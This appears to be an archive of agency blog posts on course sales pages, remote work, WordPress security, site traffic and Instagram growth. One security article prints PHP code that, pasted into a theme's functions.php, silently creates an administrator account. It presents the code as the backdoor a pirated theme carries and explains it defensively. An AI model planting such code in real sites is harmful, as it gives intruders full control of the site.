Category: Web Design

How to Create a Course Sales Page that Sales

How to Create a Course Sales Page that Sales

You have a course you want to sell, how are you going to convince people to buy it?

Unless you have a group of students waiting to open their wallets, no questions asked, you need to create a sales page for your course. This is the page online where you persuade your ideal student that your program is exactly what they want and need. And then you give them a place to register and pay for the course.

Sounds simple, right? Actually, creating your sales page is one of the most difficult challenges most course creators face.

That’s because you already know your program inside and out. You know what you’re going to teach people, what resources you’re going to provide, and what results students can expect. So, it’s easy to find yourself spending time explaining all the amazing features of the program.

One big mistake you can make when it comes to their sales page is focusing too much on ‘what’ the program covers, and not enough on ‘why’ students should care.

The other mistake you can make is assuming that your prospective students will just take your word for it. You know your course is going to help them, but you need to walk them through a story that leads them to the same conclusion.

Your visitors start out knowing nothing about your program, and as they learn more and more, your ideal student reaches the decision to sign up.

So, where do you start?

Below are 3 important steps to creating a high-converting course sales page:

Step 1: Identify Your Target Students
Step 2: Create Your Sales Page Content
Step 3: Apply Best Practices for Sales Page Design

STEP 1 – Identify Your Target Audience

Before you start writing any copy for your sales page, you need to drill down into your ideal student profile.

Who is your course aimed at and who is it not for? This is something you should have done when you first created your program, but it’s important to revisit your target audience and get in touch with them at an emotional level. Consider all of the following:

  • What is the primary pain or problem that your course addresses?
  • Why is this an issue for your audience? How do they feel about it?
  • How will their lives be different when the problem is gone?

STEP 2 – Create Your Sales Page Content

Include the 10 key elements that every sales page needs, using a flow that tells a story that leads to the natural decision to say yes, I want that.

  1. Headline – Short, Descriptive and Enticing
  2. Intro Video – Build credibility and engage
  3. Problem – Agitate- Solve – Tap into emotions, tell your story and give the solution.
  4. Course Description – Include overview, Benefits, Outcomes & Features
  5. Testimonial – Build credibility and trust (video testimonials works best)
  6. CTA Button & Pricing – Tell people what it’ll cost and what to do (Enroll Now)
  7. Guarantee – Allow fears and make it easy to say a yes
  8. Instructor Bio – tell them who you’re and why you’re qualified to teach, and include a headashot
  9. FAQs – Answer basic questions that are likely to be asked
  10. Footer – Keep it simple and include a privacy policy link and Terms & Conditions

STEP 3 – Apply Best Practices for Sales Page Design

Use a sales page building tool that has proven templates and then follow these principles:

  • Color – 3-4 maximum, including 1 accent color
  • Easy to Scan – Break up texts with sub-headings, bullets, whites space, lists
  • Big Images – Keep them relevant while spicing up your page
  • Headshots – Your own picture and for testimonials

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Benefits of Working From Home in Nigeria and How to do it

Benefits of Working From Home in Nigeria and How to do it

Coronavirus & working from home in Nigeria

As the effects of Coronavirus (COVID-19) begin to be felt on Nigerian shores, more and more talk will be circulated about working from home and whole businesses moving to working remotely.

Elvistech are strong advocates of the ‘work from home’ model and in this blog we take a look at the benefits of letting your employees work from home, as well as a few considerations on how to make it work.

First up, we should definitely acknowledge that working from home isn’t for everyone – both individually or as a company. There are a ton of industries out there that survive on face to face contact (I’m not sure how well my hair cut would go over Skype!). There are also alot of individuals out there who thrive off the structure that an office environment or workplace will bring.  So with that in mind, the first thing to think about is whether you can complete all your day to day tasks without face to face interaction, and whether you’ll be able to do those tasks in a way where you stay productive. Even if you can manage some of those tasks from home at the moment, it could possibly benefit both yourself and your company in the long run. Here are our ‘pro’s’ for working from home:

The benefits of working from home or working remotely:

  • Work when you’re feeling productive: This is a big one for us. When you have a set work day, you assume that every individual will be at their most productive during those set periods. In reality that just isn’t the case. When working from home you quickly figure out when you are starting to lose productivity and the ability to pop out for a jog, or just put your work to the side for a little while can DRAMATICALLY increase your productivity on the other side. In our industry, developers and creatives in particular seem to be real night owls – and who are we to stop them sleeping in and starting late if they are getting the work done well.
  • Feel comfortable: From your lazy sweatpants to the air con being set on YOUR temperature, you can set yourself to be in an environment that is spot on making sure you are working at your best.
  • Efficiency, efficiency, efficiency: When everyone is working from home and you no longer have in person meetings, you become ruthlessly efficient with your time. You can still keep in touch with your clients and colleagues, but when it’s over the phone or on Skype you seem to get to the point much quicker. Office politics evaporate, and everyone seems to be more focused on the collective goal.
  • Keep on top of the rest of life: Having that nagging feeling that you need to hang the washing out shouldn’t be underestimated as a distraction at work. If you are working flexibly at home you can keep on top of all of the little things, easing stress levels, and ultimately making you a better worker.
  • No workmates – no distractions: One of the biggest pros from having a home office is the lack of colleagues being nearby for a ‘quick chat’ or distraction. There are plenty of different distractions, but at least you won’t get pulled away from what you are doing on someone else’s whim.
  • It’s a cheaper day to day: How much was that sub you brought for lunch yesterday? Or that coffee you grabbed mid afternoon. When you’re working from home your cost of living will inevitably dip – with your fridge nice and handy, last nights leftovers are that much more appealing.
  • Save time on the zero minute commute: Inevitably, if you are working in an office you have at least some sort of travel time to work. It’s incredibly satisfying being able to wake up, sit at your computer in your PJ’s and bang out an hour or twos work before anyone has even got to their office. That time saved up front is time that can be used on other work projects, or on your own personal activities later in the day.
  • Working remotely doesn’t have to mean working from home: If you love the travel life, then remote working lets you take your laptop and your work wherever you want to go (with an internet connection!). The satisfaction of having a regular income, completing tangible work, and being able to see the world is something that really helps people develop individually and as employees.
  • Stay healthy: This isn’t something we ever think about – but it’s one we just had to add on here given the current happenings globally!

How to work from home – and how it can be tricky

  • It’s all about that internet connection: This goes without saying. You need a solid internet connection and a well setup home office to be able to work well. That home office may be different for industry to industry, but it’ll include a laptop or computer and all the software you need.
  • Learn to love your phone: There has been a bit of a tenancy in recent years to vilify the idea of ‘taking work home with you’. We certainly know people who hate having a work phone, because it just lets them be contacted about work in their own time. You need to make a conscious shift when working from home and love that phone. Why? Because it means you can duck out to the shops in the middle of the day and still pick up your emails. It let’s you do your exercise mid afternoon, but stay on top of your work in the evening if needed. Your phone is your friend.
  • Be disciplined: They say the biggest enemies to working from home are the fridge, your bed and the TV. You have to set yourself some boundaries, acknowledging that when you are working, you are working. These don’t have to be super strict, but personally we tend to at least work within a set of hours each day. Sometimes when the creativity is blown and our productivity slumps, those distractions end up being a benefit for a half hour or so, but you’ve got to be careful not to slide down the slippery slope of procastination.
  • Set your goals: This is something that you should be doing in an office setting anyway, but it’s even more important when working from home. Have your to-do list – and do it. The sense of achievement you’ll get from that while working from home and also keeping on top of your home life is HUGE.
  • Find the right software: As a business, the biggest jump we had in productivity was finding the right software to manage workflows and keep up communication. From Slack to Monday.com, to Skype and GSuite, there are a ton of cloud based software options that improve your ability to keep a team on track while the work from different places. 
  • Figure out what works for you: The last, and probably most important tip from us is to try all the above, but to find what works best for your company and for you. You may want to hold a daily Skype meeting to make sure all your employees are on deck at a reasonable hour. You might need them to work between certain hours for certain reason. There are a plethora of individual considerations that you’ll want to think through before committing to working from home.


Above all else, in this chaotic time, business needs to keep rolling. Working from home might help your company just stay afloat, or it could end up being a way to see it flourish and become more profitable. Keep focusing on your online advertising, and remember your website design and web presence in a time where more and more people will be doing business from there computer and online.

​If you have any questions at all – don’t hesitate to contact us!

Get a Business Website Today!

Getting a website for your business is not an expenses but rather an investment…

How to Prevent Your WordPress Website From Being Hacked

How to Prevent Your WordPress Website From Being Hacked

WordPress sites are often compromised by hackers who exploit vulnerabilities. In fact, there are around 90,000 attacks on WordPress sites every minute.

If they’re successful, they can use the website to run all kinds of malicious activities – steal customer data, sell illegal products, send spam emails, dupe customers into downloading malware – the list goes on.

For a website owner, getting hacked is not just bad news, it’s a nightmare! And it can happen to any site – big or small. It’s interesting to note that smaller sites think that hackers won’t come after them. But in reality, such sites are easy targets and are preferred by hackers.

If your site gets hacked, you have much to lose. Your customers won’t trust your site anymore, your sales and revenue will take a hit, and you could even be blacklisted by Google, and suspended by your WordPress web host.

If all this has you worried about your site’s security, we’ve got you covered. In this article, we’ll get behind the psychology of hackers and understand the ways in which they hack websites. After that, we’ll cover ways to neutralize them as well.

Before we begin to show you how and why hackers hack sites, you need to understand the structure of your WordPress website. It is made up of files and a database. WordPress files mostly contain all the settings and configurations, while the database stores all the data of posts, comments, users and a bunch of other things.

Both elements are required to generate the frontend of your website. But both can also be exploited by hackers.

First, let’s take a look at how hackers get inside WordPress sites.

Note: This is not a guide on how to hack a WordPress website. It is an educative article to show you how hackers can exploit vulnerabilities to hack your site. That said, let’s begin.

Vulnerabilities of WordPress Sites that Enable Hackers

To hack a website, it should have a point of vulnerability. We’ve listed out the common vulnerabilities found in WordPress websites:

1. Outdated WordPress Installation

Around 44% of hacked WordPress websites were running on outdated installations according to a 2018 report. As a website owner, you will see frequent updates available to the WordPress installation, like so:

Usually, updates carry new features, bug fixes, or resolve incompatibility issues. Sometimes, they also carry WordPress security patches. This means if a security flaw was found in the software, the developers quickly fix it and release an update that will remove the flaw.

Once released, the presence of a wp security flaw is made known to the public. Hackers then seek out websites that haven’t updated, find the flaw, and use it to hack into the site.

So if you choose not to update your WordPress installation, then you haven’t installed the new security features and you’ve given your website on a platter to the hackers.

Always keep your WordPress website updated. Tip: Security patches are rolled out as minor updates. You can tell if it’s a major update if it’s V5.2 or V5.3. A minor update would be V5.2.1, for example. By default, minor updates are automatic, but you can turn it off. We recommend keeping the auto-updates option turned on for minor updates.

2. Weak Credentials

Another common point of entry for hackers is weak credentials. Hackers use a method called brute force attacks where they program bots to scan the for WordPress sites on the internet and attempt different combinations of usernames and passwords to break into the website.

If you’ve left your login name as ‘admin’, they’re already one step closer to gaining access to your site. However, if you’ve used common passwords like ‘password123’, then it’s easy for them to guess it. These bots can make thousands, if not millions of hacking attempts in just a second.

We recommend changing the password to a passphrase in combination with numbers and symbols to make your password strong as ever like so:

3. Pirated Themes

Premium themes are attractive and we’d all love to have a great theme for our website to make it unique. Many times website owners fall prey to free, cracked or pirated versions of these themes. Such themes from unreliable sources can carry pre-installed malware. By installing it on your WordPress website, you also install the malware. This opens the door to hackers. We’ve detailed how this happens later.

Always download themes only from reputable sources such as the WordPress repository or marketplaces like ThemeForest and ThemeTrust.

4. Plugins

Hackers are constantly on the prowl to find gaps in the security of plugins. If they find one, they’ll scan the internet for WordPress sites that have the plugin installed. This enables them to hack into thousands of websites in a matter of minutes.

Many times, especially with free plugins, developers may find that they can’t maintain it any more and abandon the plugin. (This can also happen with themes). In these cases, the security of the plugin will lapse and having it installed on your site poses a threat.

Download plugins only from trusted sources such as the WordPress repository or CodeCanyon. Regularly delete WordPress plugins and themes you don’t use any more. Check the status of the plugins you do use to see if they’re being updated and maintained by the developer.

5. Local system

Sometimes, it may be your computer itself that’s not secure. If someone hacks into your system, they can easily access your WordPress site because in most cases, the wp-admin is already logged in and open.

This can happen if you don’t have a firewall or anti-malware tool installed on your system.

It’s recommended that you never use a public computer or public unsecured wifi connection on your local system which you use to run your WordPress website. Always keep malware detection tools active on your site.

6. Web hosting providers

While choosing a hosting plan, we tend to look for the cheapest one. But the cheapest doesn’t always guarantee good security measures.

Shared servers may be cheaper but they also put your site at risk. You can’t tell which sites you share a web server with and whether they’ve implemented security protocols. If they get hacked, there are chances the malware infection can spread to your site as well.

There are also times when website hosts are compromised which means all websites on the hosting platform are exposed for hackers to exploit.”

Before choosing a web host, read up on what they offer and what customers have to say about them. This will help you get a good idea of which web host to choose.

To find a vulnerable site, hackers create their own bots or use free vulnerability scanners available online to comb through the internet. When they find one, they’ll exploit the security flaw it has (like the ones mentioned above) to get access to the files or database of the WordPress website.

Then, they inject code that will execute malicious activities such as sending spam emails, selling illegal products, etc. They also inject code to create new user accounts or WordPress backdoors that will help them regain access to your site any time they want.

How to Hack a WordPress Site?

There are innumerable ways to hack into a WordPress site. Here, we’ll discuss two of the most common ways hackers inject code into your website to create a new user login:

I. Through Files – Pre-installed malware in a pirated theme

As we discussed earlier, many WordPress site owners fall prey to pirated themes. You get all the features for free! But such software can have a script to create a new login ID. Once you install the theme, the new user account gets created and the hacker can simply log into your website from WordPress admin.

We’re going to show you how you can create a new user account on your WordPress website using your theme file. This will help you understand how pirated themes help a hacker get access to your site.

Tip: This can also come in handy if you’re locked out of your wp-admin but still have access to your web hosting account.

Caution:

Going behind the scenes of a WordPress site is a risky affair. It’s best to do this on a test or staging site. If you choose to do it on your live site, please ensure you take a reliable backup. In case something goes wrong, you can restore your WordPress backup.

1. Login to your WordPress hosting account. Go to cPanel and access the File Manager.

 

You can also access files through an FTP client like FileZilla using FTP credentials.

2. Your WordPress files usually reside in a folder called public_html. Inside it, you can access wp_content/themes.

3. Here, you need to choose the active theme on your website and edit the functions.php.

4. Copy and paste the following code at the end of the file. (If there is a closing tag like so ?>, make sure the code comes on the line before this.)

$new_user_email = 'email@example.com';

$new_user_password = 'password';

if(!username_exists($new_user_email)) {

$user_id = wp_create_user($new_user_email, $new_user_password, $new_user_email);

wp_update_user(array('ID' => $user_id, 'nickname' => $new_user_email));

$user = new WP_User($user_id);

$user->set_role('administrator');

}

Edit the first two lines to the email and password of your choice. Once you save the file and open your website, the code will run and you can log in using these new credentials.

We hope now you understand that when you install a pirated theme if it has this block of code, a new user account will be created. All the hacker has to do is enter the credentials and log in.

II. Through Database – SQL Injection

This is another one of the most common reasons why WordPress sites get hacked. To begin, you need to know two things about SQL injections:

    • WordPress uses MySQL as the default database system.
    • In order to generate the frontend of a website, WordPress uses SQL queries to pull data from the database.

We don’t have to worry about what this is or the details of it for now. What you need to know is that this database is accessible only through cPanel > phpMyAdmin. But hackers find ways to access it without using cPanel. One of the most common ways hackers contact a site’s database is through vulnerable forms on a website.

A form is any element where text can be entered such as the WordPress login bar, contact form, WordPress blog comments, subscription pops, checkout pages, and the site search bar.

Instead of entering the details asked in the form, the hacker would enter their malicious SQL commands. As all information entered into the form gets stored in your database, this malicious code will find its way in.

To explain how this happens, we’re going to show you how to create a new user account using your database.

Creating New User Account Through Database

1. Access cPanel and open phpMyAdmin > Databases.

2. Here, you’ll see a list of databases. You need to select your database. (If you don’t know your database name, you can find out this information in your wp-config, like so).

We’ve selected the database according to the name in the wp-config file.

3. Next, from the tables that populate on the right panel, you need to find the table that ends in _users (It will most likely be named wp_users).

4. Here, you can click on ‘Insert’.

5. It will open up the following screen where you can enter the user login name, password, email and display name.

6. Next, click on ‘Go’ and your changes will be saved. Now you can login to WordPress using the new credentials.

The same can be done by inserting a block of SQL code into the database. Similar to the pirated theme, once the code enters the database, it will run and a new user will be created. We can think of it as a hacker simply creating their own door in your home and walking right in.

How To Stop Hackers From Hacking Your Website?

There are four main steps you need to take in order to make your site secure enough to keep hackers at bay:

1. Install an SSL certificate

This certificate will provide your website with data encryption. What this means is that when someone visits your website, data is transferred between their computer and your website’s server.

If it is transferred in plain text, sometimes hackers who are lurking around can grab that data. They can read it, steal it or modify it to their liking.

But if its encrypted, even if a hacker gets a hold of it, they won’t be able to decipher it.

You can get an SSL certificate from your web host or from an SSL provider. If you’re worried about spending too much on a certificate, providers like LetsEncrypt offer free SSL.

2. Fix known vulnerabilities

As we mentioned earlier, there are common vulnerabilities in WordPress. We recommend that you take the following measures to minimize vulnerabilities.

    • Updating WordPress and its themes and plugins must be top priority.
    • Ensure you always use strong login credentials to avoid brute forcing attacks.
    • Regularly delete unused themes and plugins
    • Never ever use pirated themes and plugins. Always download such software from trusted sources like the WordPress repository, CodeCanyon or ThemeForest.
    • Use a reliable web hosting service provider.
    • Keep your local computer protected by installing anti-malware software.

3. Install a WordPress Security Plugin

Every WordPress website needs a security plugin such as MalCare. Protect your WordPress site with such a plugin that will scan the website regularly. It will spot any suspicious activity, block malicious traffic and keep hackers out. In the event a hacker does get in, you’ll be alerted immediately and you can clean your website instantly before they can do any damage.

4. Harden your WordPress site

WordPress recommends that every website on their platform takes certain steps to harden their sites. Some of these measures include:

    • Keep an active WordPress firewall. This will help block Limiting the number of login attempts. Every user gets only three chances to enter the credentials correctly, after which they will have to opt for ‘Forgot password’ or contact the admin. You can use the same MalCare plugin to implement this step.
    • Disabling plugin installations in case you have multiple users working on the website. You would want to ensure no one installs a plugin freely without checking if they are reliable and trustworthy to have your site. This can be done manually by editing a file called wp-config.php in your WordPress install. You can also use the MalCare plugin for this.
    • Implementing 2-factor authentication to verify the person logging in. This is done by sending a one-time password to the registered mobile or email, or by using apps like Google Authenticator that generate a real-time password every 30 seconds.

There are many more ways in which you can harden your website. It’s recommended to implement these steps as per your website’s requirements.

Concluding Thoughts

We hope this article has given you a better understanding of how vulnerabilities can appear on your website and how hackers get in. Hackers aren’t biased and will target just about any site. If your site is vulnerable, there’s a really good chance that you’ll be hacked.

So to sum up, we recommend minimizing vulnerabilities, installing a security plugin and hardening your website so that hackers don’t stand a chance of getting into your website.

4 Simple Ways To Make Your WordPress Website More Secure

4 Simple Ways To Make Your WordPress Website More Secure

Having a website is great, but that’s not the end. You need to ensure your website is secure. The good news is that doing this isn’t as difficult as many people think. In this article, we share 4 simple tips on how to secure a WordPress website.

WordPress is the most used Content Management System (CMS) in the world. Due to its popularity, WordPress attracts hackers who will try a number of ways to exploit your site. This can be harmful to both you and your website visitors, and if you’re running a business with your WordPress site, it can also result in loss of customers and revenue.

Below are 4 simple tips for securing your WordPress website from website hackers:

1. Use a Strong Password

Yes, it’s true! Sometimes the simplest options are the most effective. Just by changing the administrative password(s) to your WordPress site, your website will be more secure.

If, for instance, your password is as simple as “abc123”, then it’s just a matter of time before someone breaks into your site.

The solution to this is to make sure you use a combination of lowercase (e.g. abc), uppercase (e.g. ABC), special characters (e.g. ! @ #) and numbers (e.g. 123), for your passwords.

Try to make your password at least 10 characters long using the above-mentioned combination. This will definitely play a huge role in making your site more secure.

A secure password would look like S<j~AJhY-BmtD$4J

Tip: You can use passwordsgenerator.net to generate strong passwords.

2. Switch from HTTP to HTTPs

Man-In-The-Middle-Attack (MITM) is a very common security issue that affects both WordPress and non-WordPress websites. It involves the interception of data (login details, credit card details, etc.) sent between two parties by an intruder in the middle.

The simplest way to prevent this from happening is to switch from HTTP to HTTPs using an SSL certificate. This helps encrypt data being inputted on your site by your visitors.

HTTPs is also believed to be one of Google’s ranking factors. So you don’t only get to secure your website, you can also get a rank boost on Google. How cool is that?

3. Keep WordPress, Themes and Plugins up-to-date:

One of the ways hackers can gain access to your WordPress website is through an outdated WordPress version, or outdated plugins and themes.

As a website owner or admin, to secure your WordPress website, you should ensure that your version, themes, and plugins are always up to date.

WordPress also has an automatic update feature on versions 3.7 and above. You should activate this feature if you want your site to automatically update itself when there is a minor or security release.

4. Install Anti-Spam Plugins:

WordPress is a fairly safe and secure piece of software. However, because of its popularity, it is an attractive target for spammers.

These spammers try to place links, inappropriate advertisements or other unwanted contents on your website.

Spammers will spam comment boxes, user registration forms, contact forms, and any other forms that allow user input.

This is why it is important to install a spam protection plugin on your WordPress site as it’s the only way to keep spammers at bay for good.

Below are 5 popular anti-spam plugins to secure your WordPress website:

In Conclusion…

The steps above are easy to implement and would help in better securing your WordPress website. I do hope you’ve found them useful.

Do you have questions or more tips on how to secure a WordPress website? Feel free to leave a reply in the comment section below!

5 Best Ways To Drive Traffic To Your Website

5 Best Ways To Drive Traffic To Your Website

Having a website is one thing, driving traffic to your website is another essential factor that should be considered for all businesses.

Website traffic helps you to see how well your marketing is working, gather insight about your audience to make better decisions on how to improve your brand. It also helps you to boost search engine credibility, help you generate more leads and increase conversion rate.

There are several ways to drive traffic to your website and here are some effective ways.

1. Check Your Baseline

To start growing your website traffic, it is essential that you check your baseline, i.e, know your current traffic statistics. This will help you know if every other step you take to increase your website traffic is yielding a result.

There is a way I know you can do this. You need to set up your google analytics.  If you’d rather not use Google Analytics, two good alternatives are:

 

Here are some of the most important metrics you should note:

  • Unique visitors (Users)
  • Bounce rate
  • Average time on site (Avg. Session Duration)
  • Pageviews
  • Pages per visit (Pages/Session)
  • Traffic sources (direct, search, and referral), etc.

2. Search Engine Optimization

On-page search engine optimization (SEO) is very essential in making your website visible to users and potential users.  SEO is defined as the process of getting traffic from the “free,” “organic,” “editorial” or “natural” search results on search engines. Naturally, when people search, they go with the first – tenth result- the first especially has an added advantage.

SEO helps entrepreneurs with delivering their spot to top rank internet searchers. It helps you attract and connect with a large number of the customer as well as reaching mobile users. It’s important to ensure that your site and content are as relevant as possible to those seeking your products or services.

This would involve research on keywords that your potential customers will search to help them find you in time, also create valuable content and craft captivating meta tag descriptions.

Optimizing your local search presence can have enormous benefits for your business. It will boost sales, increase your visibility (both online and offline) and help you connect with customers, increase local visibility and easier KPI tracking, as well as help you achieve better conversion rates. Latest Google statistics tell us that about 20% of search queries are related to location.

SEO has become highly competitive and it’s no longer enough to post consistently, you need to really nail your SEO, do a continuous campaign, check for meta tags, etc, to get (and stay) ahead of the competition.

Recent research also shows that SEO strategy has changed over time and this change is caused by  Google’s Hummingbird algorithm.

By this, it means instead of just looking at keywords, Google now understands topics and this affects 90% of users searches.

Hence, for Google to understand your content’s topic, you need to make use of what is known as LSI Keywords. through your LSIgraphs.  These are words and phrases related to your target keyword. For example, let’s say you just wrote a post on Event Planning, your LSI keywords would be words and phrases like:

  • current events today
  • local events in your area
  • event planning to-do list
  • how to start an event planning business
  • events near me this weekend
  • top news events of 2018
  • business current events
  • event planning checklist pdf
  • interesting articles on Events

By doing this, you make it easy for Google to recognize what exactly your content is based on, in this instance, it is based on “Events”.

3. Social Media Platforms

Social media can be a useful tool for businesses, as they help in engaging with your audience and boosting website traffic. Also, it helps in customer interaction, brand reputation and it is cost-effective. Managing your social media is hard work but when consistently done, the reward is overwhelming.

However, it also has its disadvantages, including the resources required and negative feedback. Considering these pros and cons can help you decide the best approach to social media for your business. Social media is one of the most effective ways to get people to see the stuff you are made of.  You are also at an added advantage of tapping into the personal networks of your existing fans.

The icing on the cake to using social media is making use of effective hashtags. This has recently been discovered as the best tool to get lots of people to see your post. Smart use of hashtags enables you to precisely target your ideal customer and expand your reach beyond your existing audience. Other ways to get more shares on your post. is to use the ‘click-to-tweet’ button.

Another way to increase your traffic is to share videos on LinkedIn. Recent research has shown that LinkedIn growing FAST. The number of people sharing stuff on LinkedIn has increased significantly in recent time. That being said, but how can this be done? One major way that has been discovered is to post video content, especially personal stories that will inspire your viewers.

Your subject must also be catchy and your content must be on point across all your social media platforms. They must be engaging, your words must be organized, use shorter paragraphs and bucket brigades, like Wait, Here’s the deal, For example, In fact, That said, etc.

Also, ensure that pictures drive down your point and are catchy enough for the eyes. Eye-catching photos can do wonders for your traffic. They make your posts are more appealing and so readers tend to stay on your site longer.

Researchers have found that images on Facebook constituted 93% of the most engaging posts, compared with all other status updates. When you combine your title with an engaging image, you give it the best opportunity to generate traffic and clicks.

Another essential thing to note is to post during peak hours. You need to understand that it isn’t enough to just post content to social media whenever you feel like, there are special hours to post according to Hubspot. Some times are better than others. Although you may not be able to get adequate timing, with the help of this link above, you get more tips on how to go about this.

4. Email Marketing

Email marketing is a highly effective channel for driving traffic to your website. It is advised that you generate your email lists from your website or already established client database. This is because it has been proven over time that organic emails work best and produces a good result. Building a sequence that nurtures new sign-ups and develops a relationship is now an essential part of email marketing.

Once set up, email marketing is one effective way to establish brand loyalty, thought leadership and serve as a means of free advertisement to your leads. Sending out regular newsletters and promoting offers through email is a great way to stay in touch with your customers and can also help to get traffic to your website. Some of its objectives are top-of-mind awareness, traffic to website and sales strategy.

This can be achieved through: 

1. Custom-made email newsletters to customers

2. Featuring selected products and categories in each newsletter

3. Addition of blog posts to newsletters for improved open and click-through rates.

Just make sure that you are very strategic about the number of times you send emails, else, your customers will either disengage with, delete, or unsubscribe from your emails.

Also, put careful thought into your email subject lines. These heavily influence whether or not a user opens your email. If your emails never get opened, they can’t supply traffic to your site!

5. Engage in Guest Post

Many have come to the conclusion that Guest Posts are ineffective, however, if strategically managed, it is one of the best ways to help generate traffic to your site. This is because they are likely to share the post with their large audience. It can also help to add more variety to your content and show your visitors that you are active in your field.

Essential of all is to blog on sites that are relevant to your audience so that you generate high-quality traffic. Identify complementary businesses in your area whose audience is relevant to your business. See if you can contribute a post to their blog with a link back to your website. Make sure your content is relevant and useful to their audience so that it’s more of an even exchange.

Guest Posts entices new visitors over to your website. It will be nicer if you also allow other writers to blog on your site as well. You should, however, not limit yourself to only written posts but make use of other forms like Instagram takeovers and YouTube guest appearances. Also, include “helpful resource” sections throughout your guest post. Adding your content as one of the helpful resources is also an added advantage to this.

Conclusion

Having read through these 5 steps, you will agree with me that these are very essential to helping your business grow and make your brand known. Also ensuring you are creating contents that appeal to Influencers. The reality is if you want influential people to share your content, your content has to be appealing. By continuously doing these, you are positioning yourself as a trusted authority in your field.

7 Reasons To Choose WordPress As Your Business Website CMS

7 Reasons To Choose WordPress As Your Business Website CMS

We strongly believe WordPress is the best website CMS (Content Management System) for businesses.

After building hundreds of websites using WordPress, you can say we know WordPress pretty well.

In this article, we share 7 reasons why we say WordPress is the best CMS for business websites.

30% of the entire web uses WordPress — a figure that rises every day!

Everything from simple websites, to blogs, to complex portals and enterprise websites, and even applications, are built with WordPress.

What makes WordPress so special? Well, this quote from the WordPress website, pretty much sums it up:

Beautiful designs, powerful features, and the freedom to build anything you want. WordPress is both free and priceless at the same time.

Still need some convincing? You’re at the right place!

Here are 7 reasons why we say WordPress is the best website CMS platform for businesses. Let’s go!

1. WordPress is Highly Extensible

WordPress does not limit you in any way.

Whenever you have a new feature in mind you would like to add to your website, it’s usually just one plugin away.

This means you don’t need to spend much time or money coding from scratch. It’s also very easy to add and configure these plugins.

Here’s a quote from the WordPress to drive home this point:

WordPress comes packed full of features for every user, for every other feature there’s a plugin directory with thousands of plugins. Add complex galleries, social networking, forums, social media widgets, spam protection, calendars, fine-tune controls for search engine optimization, and forms.

2. WordPress Makes it Painless to Redesign your website

With WordPress, your website can get a complete makeover within a short period.

Of course, depending on the size of your website, this can range from a couple of minutes to days (or weeks), but however long, it’s still faster than most CMS platforms.

For instance, at Elvistech, we either create custom-made WordPress themes or customize premium ‘ready-made’ themes. The latter is usually faster, but the approach depends on the project goals.

Here’s something else you should know:

If your website is built on WordPress, the advanced theming feature of the platform enables you redesign your website without having to re-upload your content. Sweet!

Even though the entire look and feel of your website will change, your content does not get messed up. How great is that?

Hear from WordPress:

…there’s a theme directory with thousands of themes for you to create a beautiful website. None of those to your taste? Upload your own theme with the click of a button. It only takes a few seconds for you to give your website a complete makeover.

3. Managing a WordPress Website Doesn’t Require Technical Knowledge

Unlike may other CMS platforms out there, WordPress doesn’t require a lot of technical skills or experience to use.

Here at Elvistech, once we’ve built a website for a business, after a short training, clients that have never used WordPress before are able to start managing their websites right away.

Here’s how WordPress’ simplicity is described on their website:

Simplicity makes it possible for you to get online and get publishing, quickly. Nothing should get in the way of you getting your website up and your content out there. WordPress is built to make that happen.

4. WordPress is Inexpensive to Run and Maintain

The WordPress software and most plugins are completely free.

If you are not willing to learn how to build websites yourself, you may still need to pay a web designer or an agency like Elvistech, but even at that, the cost here cannot be compared to that of coding a website from scratch.

Also, in terms of hosting, you do not need a super-expensive server. For most basic websites, cheap ‘shared hosting’ plans are good enough.

5. WordPress is Search Engine Friendly

WordPress is built to be search engine friendly.

If you know us well at Elvistech, you know we love SEO. What’s the point having a website for your business that isn’t search engine friendly?

Hear from WordPress themselves concerning the SEO feature of the software:

WordPress is optimized for search engines right out of the box. For more fine-grained SEO control, there are plenty of SEO plugins to take care of that for you.

6. WordPress Makes Blogging Super-Easy

WordPress started as a publishing platform.

While it has grown over the years to become a much more sophisticated software, it still has great strengths for content publishing.

WordPress makes it very easy to share news, updates and blog articles (like this one).

WordPress also comes loaded with a powerful commenting system, so you can get feedback from your audience… and who doesn’t love feedback?

Read this quote from the WordPress website:

If you’ve ever created a document, you’re already a whizz at creating content with WordPress. You can create Posts and Pages, format them easily, insert media, and with the click of a button your content is live and on the web.

… and this one:

Your blog is your home, and comments provide a space for your friends and followers to engage with your content. WordPress’s comment tools give you everything you need to be a forum for discussion and to moderate that discussion.

7. Keeping your WordPress Website Updated is Easy

One drawback to the use of WordPress is security. Due to its popularity, it is a target for hackers and spammers.

WordPress however combats this issue actively by constantly releasing updates to address vulnerabilities and further secure the platform.

To learn more about securing WordPress, see this article we shared: 4 Simple Ways to Make Your WordPress Website More Secure

To take advantage of the security updates, WordPress enables you update your software version easily, just at the click of a button.

There’s even an option for automatic updates!

there your have it! 7 reasons why we say WordPress is the best Website CMS for businesses. Hopefully, you can agree with us that…

Best Website CMS = WordPress!

Are you interested in discussing how we can help you with Web Design & Digital Marketing? Contact Us today.

Do you have questions or comments concerning WordPress? Feel free to leave a reply below.

5 Easy Ways To Increase Your Followers On Instagram Without Ads In 2019

5 Easy Ways To Increase Your Followers On Instagram Without Ads In 2019

Instagram is a good social media platform for businesses to gain exposure and a wider reach. But to get more Instagram followers in 2019 is not as easy as it was in the previous years.

So how do you increase your Instagram followers for your business page without spending a dime in 2019?

In this article, I’ll be sharing 5 Easy Ways To Increase Your Followers on Instagram Without Spending in 2019.

So let’s get into it already…

1. Send Out a Newsletter To Your Existing Customers.

First, you can send out a newsletter to your existing customers, inviting them to follow your Instagram page.

When doing this, remember that when you want people to do something, you need to give them an incentive. For example, you can give a discount on your products for the first 100 people who follow your account.

2. Brand Your Instagram Page.

Your Instagram page layout or look is a good opportunity to make a great impression and encourage people to hit the “follow” button on your page.

Have a “clean page”. You need to pay attention to what your Instagram page looks like as a whole, from the page pattern, color, font choice on images, bio, profile picture, etc. it must be branded well to entice people to your page.

3. Follow Your Potential Customers

This is a system that has worked for a lot of Instagram pages.

Identify some of the bigger accounts that are similar to yours or are in the same industry with the same target audience you are trying to reach. Go to their most recent post and follow the people who like that post. After a while, you can unfollow all those that did not follow you back using free apps like Unfollow.

It’s that simple friends!

4. Write Engaging Captions

Writing engaging and sharable captions are very essential to your post.

Consistently writing great captions can help increase your followers and make your content more shareable which is ultimately giving you more exposure.

Whenever you are writing a caption for your page, always remember to make it witty and precise, have a call to action, use relevant emojis and hashtags.

5. Collaborate With Similar Industry Pages

You can reach out to Instagram pages who have built a following in your industry to talk about how you can collaborate to help each other. You’ll have to find pages or users with a similar target audience or complementary target market.

You can do this by regularly liking and sharing each other’s posts, they can have an “Instagram takeover” on your page and you can do the same on their page, or tag each other in your posts.

Conclusion

